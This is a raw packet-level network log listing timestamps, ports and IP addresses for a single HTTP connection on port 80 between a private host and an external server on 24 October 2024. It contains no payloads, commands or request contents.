Oct 24, 2024 18:08:14.714642048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.714658976 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.714680910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.715428114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.715450048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.715466022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.715492010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.748008966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.748107910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.748131990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.748147011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.748162985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.748188019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.793313026 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.833486080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.833533049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.833549976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.833585024 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.833720922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.833775043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.833780050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.833796978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.833813906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.833830118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.833832979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.833867073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.834372044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.834422112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.834435940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.834464073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.834554911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.834604979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.835195065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.867778063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.867801905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.867818117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.867839098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.867880106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.952364922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.952430010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.952445984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.952477932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.952778101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.952794075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.952809095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.952826023 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.952862024 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.953177929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.953193903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.953212023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.953228951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.953236103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.953273058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.953890085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.953919888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.953934908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.953949928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.953965902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.954008102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.986710072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.986764908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.986787081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.986803055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.986824036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.986875057 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.091672897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091721058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091736078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091752052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091762066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.091793060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091821909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.091878891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091895103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091909885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091917038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.091927052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091943979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.091948986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.092000008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.092793941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.092809916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.092850924 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.106460094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.106518030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.106555939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.106571913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.106584072 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.106656075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.191256046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.191308975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.191330910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.191360950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.191359043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.191375971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.191391945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.191399097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.191407919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.191430092 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.191987038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.192023993 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.192101002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.192203999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.192240000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.192255020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.192282915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.192298889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.192312956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.192322969 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.192359924 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.193059921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.193135023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.193180084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.226192951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.226216078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.226231098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.226238012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.226309061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.310910940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.310931921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.310942888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.310980082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.310991049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.310997009 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.311002016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.311049938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.311520100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.311748028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.311758041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.311773062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.311784029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.311791897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.311830044 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.312227964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.312238932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.312248945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.312261105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.312268019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.312285900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.312550068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.312593937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.345423937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.345443964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.345453024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.345479012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.345498085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.345510006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.345520973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.345541954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.345565081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.431808949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.431855917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.431869984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.431891918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.431938887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.431952953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.431966066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.431973934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.431988001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.432001114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.432004929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.432013988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.432029009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.432034969 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.432061911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.432817936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.433128119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.433166981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.464890003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.464929104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.464971066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.464983940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.464997053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.465008020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.465076923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.465244055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.465303898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.465540886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.512156010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.549856901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.549873114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.549885035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.549912930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.550786972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.550797939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.550808907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.550836086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.550867081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.550975084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551187038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551197052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551227093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.551280022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551291943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551331043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.551584005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551594973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551625013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.551656961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551668882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.551692009 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.584274054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.584291935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.584302902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.584340096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.584345102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.584414959 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.584538937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.584583998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.584619999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.637070894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.638199091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.638215065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.638225079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.638264894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.669358969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.669397116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.669408083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.669573069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.670181990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670200109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670208931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670239925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.670403004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670413971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670449972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.670623064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670634985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670644045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670655966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.670666933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.670701027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.671216011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.671226978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.671236038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.671264887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.671293974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.671554089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.671564102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.671606064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.703824997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.703836918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.703847885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.703852892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.703862906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:15.703957081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:15.746437073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.090832949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.090889931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.090903997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.090997934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091152906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091201067 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091238022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091253042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091267109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091274977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091285944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091308117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091310024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091335058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091350079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091357946 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091366053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091388941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091389894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091404915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091422081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091422081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091435909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091449976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091455936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091465950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091480970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091494083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091501951 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091517925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091675997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091691017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091711998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091713905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091744900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091787100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091804028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091816902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091831923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.091836929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.091876984 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.092367887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092449903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092479944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092490911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.092506886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092555046 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.092710972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092726946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092741966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092761993 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.092813969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092843056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092854023 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.092883110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092897892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092911959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092916965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.092926979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092942953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092950106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.092958927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092976093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.092976093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.093013048 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.093214989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.093235970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.093250036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.093276024 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.093296051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.094255924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.094296932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.094331980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.094337940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.094419003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.094458103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.096821070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.096837044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.096873999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.096903086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.097237110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.097250938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.097270966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:16.097274065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.097289085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:16.097305059 CEST	80	49744	185.215.113.16	192.168.2.6
